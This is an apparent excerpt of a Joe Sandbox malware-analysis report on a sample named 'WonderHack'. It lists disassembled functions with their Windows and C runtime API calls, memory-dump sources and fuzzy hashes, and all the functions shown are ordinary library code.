Instruction Fuzzy Hash: 12E01A30380204BAEF201BA0EC06FAD3E55AB60B95F140420FA4DE88E0DB76EC909944

Function 001B3F9E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 001B4001

Part of subcall function 001AC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,001AD895,?,00000000,-00000008), ref: 001AC082

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 001B4253
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 001B4299
GetLastError.KERNEL32 ref: 001B433C

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 0d4ebf6fd07a32a1e205b3343f195ff08ade7b5c4322aea0812c8939707a7b44
Instruction ID: 189a7c3a846a304c85714ce748d75b097b7efbe4466fe338368e25b7c0230f3b
Opcode Fuzzy Hash: 0d4ebf6fd07a32a1e205b3343f195ff08ade7b5c4322aea0812c8939707a7b44
Instruction Fuzzy Hash: 4DD16875D002589FCF14CFE8D880AEDBBB9FF19314F28816AE556EB652D730A941CB50

Function 001AB295 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 001AB35C
___AdjustPointer.LIBCMT ref: 001AB37F
___AdjustPointer.LIBCMT ref: 001AB41B

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 57cb923078b6df166efd5a9c85a403362e1694e9cc6c11461df4d8c1f4f19486
Instruction ID: a67d7b302ed2ee017df592f2ae81737d7586d80cd174f0c317f802e3abf920bc
Opcode Fuzzy Hash: 57cb923078b6df166efd5a9c85a403362e1694e9cc6c11461df4d8c1f4f19486
Instruction Fuzzy Hash: FC51D379A08682AFDF298F61C8D1BBA77A4FF56710F14412DE94687293D731EC90CB90

Function 00197220 Relevance: 6.1, APIs: 4, Instructions: 129threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 001972C5
std::_Throw_Cpp_error.LIBCPMT ref: 00197395
std::_Throw_Cpp_error.LIBCPMT ref: 001973A3
std::_Throw_Cpp_error.LIBCPMT ref: 001973B1

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: 19214a75fc5b995b2cff135282846c25ed5bc26688b19e3b031cbc656b8503cd
Instruction ID: 18756587ab868083b8c61761894ff6ce9749438f334d9786dc74d7e6054f2ba9
Opcode Fuzzy Hash: 19214a75fc5b995b2cff135282846c25ed5bc26688b19e3b031cbc656b8503cd
Instruction Fuzzy Hash: 3241E1B1A04305DBDF20EB24C981BAAB7F9BF54320F144639E816476D1EB30E954CBD1

Function 00194460 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00194495
std::_Lockit::_Lockit.LIBCPMT ref: 001944B2
std::_Lockit::~_Lockit.LIBCPMT ref: 001944D3
std::_Lockit::~_Lockit.LIBCPMT ref: 00194580

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 18fdde897840255cf5cacebc0333230585337398192788344c4c734e19441467
Instruction ID: c30969987ff16854144f2f0f0af9e11e5806d0a7c78f6e829b70d98bc91dbe67
Opcode Fuzzy Hash: 18fdde897840255cf5cacebc0333230585337398192788344c4c734e19441467
Instruction Fuzzy Hash: 9E412371D002288FCF10DF98D845BAEBBB0FB58724F454269E81967391D734AD86CFA1

Function 001B1DC6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 001AC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,001AD895,?,00000000,-00000008), ref: 001AC082

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 001B1E2A
__dosmaperr.LIBCMT ref: 001B1E31
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 001B1E6B
__dosmaperr.LIBCMT ref: 001B1E72

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 1b3039102282874d621f836fe6f680e08756e46592a88588ce20b5ad02d8f5c6
Instruction ID: 855d2348fb3928a71668397f29d419717c4f2c2b69d153cab1bdc1157b090057
Opcode Fuzzy Hash: 1b3039102282874d621f836fe6f680e08756e46592a88588ce20b5ad02d8f5c6
Instruction Fuzzy Hash: A921F275600205BFDB22AFA5CC94DABBBA9FF253647528519FC19D3140E730ED00CBA0

Function 001A2BA2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8992e1bb1ffca35ea0d71a7d6984c352a49f15e424d1061347ffaae5d741569
Instruction ID: 34410f6d940f536737ecb47aa26c951515e677bc31ebd53f290aba1c63c7b3fa
Opcode Fuzzy Hash: d8992e1bb1ffca35ea0d71a7d6984c352a49f15e424d1061347ffaae5d741569
Instruction Fuzzy Hash: 0E21AC79204205AF9B21AF7D8C80D6BB7A9FF62374B114929F859D7654EB30EC4087A0

Function 001B31BE Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 001B31C6

Part of subcall function 001AC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,001AD895,?,00000000,-00000008), ref: 001AC082

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 001B31FE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 001B321E

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 1df26b0fa0e9708c44290af87cf8029e1a000a40ff4eaa9e5714926b5ae389d4
Instruction ID: ee090600230325525ee812177d95af9a0f194d03ac014d6828982538f663dff9
Opcode Fuzzy Hash: 1df26b0fa0e9708c44290af87cf8029e1a000a40ff4eaa9e5714926b5ae389d4
Instruction Fuzzy Hash: 0711D2B9A051157EA72127B55CCACFF6E6CDEAA3A47110064FA12D1102FF74EF5081B1

Function 0019E892 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0019E899
std::_Lockit::_Lockit.LIBCPMT ref: 0019E8A3
int.LIBCPMT ref: 0019E8BA

Part of subcall function 0019C1E5: std::_Lockit::_Lockit.LIBCPMT ref: 0019C1F6
Part of subcall function 0019C1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 0019C210

std::_Lockit::~_Lockit.LIBCPMT ref: 0019E914

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID:
API String ID: 1383202999-0
Opcode ID: 2cc512037b477db54d9f96aa23a54c191e271abec08227ab4ba81646a2395ffa
Instruction ID: f307c0d96f0407ad33e857804fcb5d1047c6638969240c3eaf9fd59c96ec03ea
Opcode Fuzzy Hash: 2cc512037b477db54d9f96aa23a54c191e271abec08227ab4ba81646a2395ffa
Instruction Fuzzy Hash: 7D11C431900215DBCF05EFA4C945ABD7BB1BFA4718F250119E415AB291CF74AE41CBC1

Function 001BADA0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,001BA2EF,00000000,00000001,00000000,?,?,001B4390,?,00000000,00000000), ref: 001BADB7
GetLastError.KERNEL32(?,001BA2EF,00000000,00000001,00000000,?,?,001B4390,?,00000000,00000000,?,?,?,001B3CD6,00000000), ref: 001BADC3

Part of subcall function 001BAE20: CloseHandle.KERNEL32(FFFFFFFE,001BADD3,?,001BA2EF,00000000,00000001,00000000,?,?,001B4390,?,00000000,00000000,?,?), ref: 001BAE30

___initconout.LIBCMT ref: 001BADD3

Part of subcall function 001BADF5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,001BAD91,001BA2DC,?,?,001B4390,?,00000000,00000000,?), ref: 001BAE08

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,001BA2EF,00000000,00000001,00000000,?,?,001B4390,?,00000000,00000000,?), ref: 001BADE8

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 1a9f4ea7efaa7f4fd817913f1dd4ec8ad55924a9cdc524c13b565c86e306cf5e
Instruction ID: 84590b553f8de31633df96834600c7fd09da23f21ec8b9ef0185d762492feab4
Opcode Fuzzy Hash: 1a9f4ea7efaa7f4fd817913f1dd4ec8ad55924a9cdc524c13b565c86e306cf5e
Instruction Fuzzy Hash: 90F01C36500118BFCF222FD5EC09DDA7F26FF087A1B404011FA0986520DB32CCA0AB91

Function 001A04F5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 001A0507
GetCurrentThreadId.KERNEL32 ref: 001A0516
GetCurrentProcessId.KERNEL32 ref: 001A051F
QueryPerformanceCounter.KERNEL32(?), ref: 001A052C

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 1bd49a7edc45c249947ed0d3b5e561b82aa6e254bc713ae60809af8e8ca8fdc9
Instruction ID: 26b336e39d212f28d484221d480cfe9043bcc59c2847d4b961d8f40d69947c6f
Opcode Fuzzy Hash: 1bd49a7edc45c249947ed0d3b5e561b82aa6e254bc713ae60809af8e8ca8fdc9
Instruction Fuzzy Hash: 48F05F74D1020DEBCB00DBB4DA8999EBBF4FF1C200B914995A452E6510EA34AA849B50

Function 001B0976 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001AC16A: GetLastError.KERNEL32(00000000,?,001AE58D), ref: 001AC16E
Part of subcall function 001AC16A: SetLastError.KERNEL32(00000000,?,?,00000028,001A8363), ref: 001AC210

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,001A5BD5,?,?,?,00000055,?,-00000050,?,?,?), ref: 001B0A35
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,001A5BD5,?,?,?,00000055,?,-00000050,?,?), ref: 001B0A6C

Strings

utf8, xrefs: 001B0B3E

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: a9f78bb179979a426d39399d19e2ad296042f296df0346a4d6a20721435bfecd
Instruction ID: 46bc9fb516db984f4df6a96ce8b85da01cb50194057ba5fd8a361f0ee42c0d33
Opcode Fuzzy Hash: a9f78bb179979a426d39399d19e2ad296042f296df0346a4d6a20721435bfecd
Instruction Fuzzy Hash: 65510835600305EADB26AB75CD82FFBB3A8EF1D704F154829F54997082F770E98087A5

Function 001973E0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 00197526
___std_exception_copy.LIBVCRUNTIME ref: 00197561

Part of subcall function 0019AF37: CreateThreadpoolWork.KERNEL32(0019B060,00198A2A,00000000), ref: 0019AF46
Part of subcall function 0019AF37: Concurrency::details::_Reschedule_chore.LIBCPMT ref: 0019AF53

Strings

Fail to schedule the chore!, xrefs: 00197551, 00197560

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: Concurrency::details::_$CreateRelease_choreReschedule_choreThreadpoolWork___std_exception_copy
String ID: Fail to schedule the chore!
API String ID: 3683891980-3313369819
Opcode ID: 6a9400471e07bc4be2191a491e5ede92501c09c30e78ed3c535f4723357b9423
Instruction ID: ac648f977fb8c145c5b3395ac3aef6c4914e04578c5cf13769f523a79768fc91
Opcode Fuzzy Hash: 6a9400471e07bc4be2191a491e5ede92501c09c30e78ed3c535f4723357b9423
Instruction Fuzzy Hash: 685188B4900218DFCF05DF94D948BAEBBB1FF08324F144129E819AB391E776AA05CF91

Function 001AB992 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,001AB893,?,?,00000000,00000000,00000000,?), ref: 001AB9B7

Strings

MOC, xrefs: 001AB9C9
RCC, xrefs: 001AB9D1

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 877bcef83c21bb014545ea3a07ec4ba15de41959362a80aac615061cd7d8f202
Instruction ID: 139a1ff892618b963d4a8deda02d1797f321018777c63ab3df39d0f956422a5a
Opcode Fuzzy Hash: 877bcef83c21bb014545ea3a07ec4ba15de41959362a80aac615061cd7d8f202
Instruction Fuzzy Hash: A9417A7A900249AFCF16DF94CC81AEEBBB5FF4A304F188199FA14A7212D3359D50DB91

Function 00193E90 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00193EC6
std::_Lockit::~_Lockit.LIBCPMT ref: 00194002

Part of subcall function 0019ABC5: _Yarn.LIBCPMT ref: 0019ABE5
Part of subcall function 0019ABC5: _Yarn.LIBCPMT ref: 0019AC09

Strings

bad locale name, xrefs: 00193F46

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: LockitYarnstd::_$Lockit::_Lockit::~_
String ID: bad locale name
API String ID: 2070049627-1405518554
Opcode ID: 1af78b14df431b6346783dea95605ad6e521cc2e895d4ba8f3f766481d7273f9
Instruction ID: fe846cd4f2d2ebc9072a00333fd92f38bf567ae9590b01c6a87f1fa1c4e931b4
Opcode Fuzzy Hash: 1af78b14df431b6346783dea95605ad6e521cc2e895d4ba8f3f766481d7273f9
Instruction Fuzzy Hash: 9B417CF1A007459BEB20DF69D805B1BBBF8BF14714F044629E4099B781E77AE518CBE2

Function 001AB1FE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 001AB475

Strings

csm, xrefs: 001AB497
csm, xrefs: 001AB508

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 86976851aebd4b5713272819294e1b64aae743e36810b29cf6c70f397c6bbce4
Instruction ID: d6f1dc38c792c9ae552f395555b135b09450ba5b7f4b7ac62d0fe46ca434c595
Opcode Fuzzy Hash: 86976851aebd4b5713272819294e1b64aae743e36810b29cf6c70f397c6bbce4
Instruction Fuzzy Hash: 1D31287A908299EFCF268F50DCD08BA7B66FF0A314B18425AF84509123C336DDA1DB81

Function 0019B831 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0019B8B9
RaiseException.KERNEL32(?,?,?,?,?), ref: 0019B8DE

Part of subcall function 001A060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,0019F354,00000000,?,?,?,0019F354,00193D4A,001C759C,00193D4A), ref: 001A066D

Part of subcall function 001A8353: IsProcessorFeaturePresent.KERNEL32(00000017,001A378B,?,?,?,?,00000000,?,?,?,0019B5AC,0019B4E0,00000000,?,?,0019B4E0), ref: 001A836F

Strings

csm, xrefs: 0019B86D

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: aaf0d3a8c5b6d2612e009a9c5e586dca2fe42e837e016ff16e548d0afd63b646
Instruction ID: d3e9757b9b15f0a256d54a79ac9403efd3e06a1d84bd25ec26fe0a5f3ff3bb48
Opcode Fuzzy Hash: aaf0d3a8c5b6d2612e009a9c5e586dca2fe42e837e016ff16e548d0afd63b646
Instruction Fuzzy Hash: B4219F31D0421CEBCF24DF99EA85AEEB7B9EF98710F140419E506AB250CB70AD45CB91

Function 0019B46C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

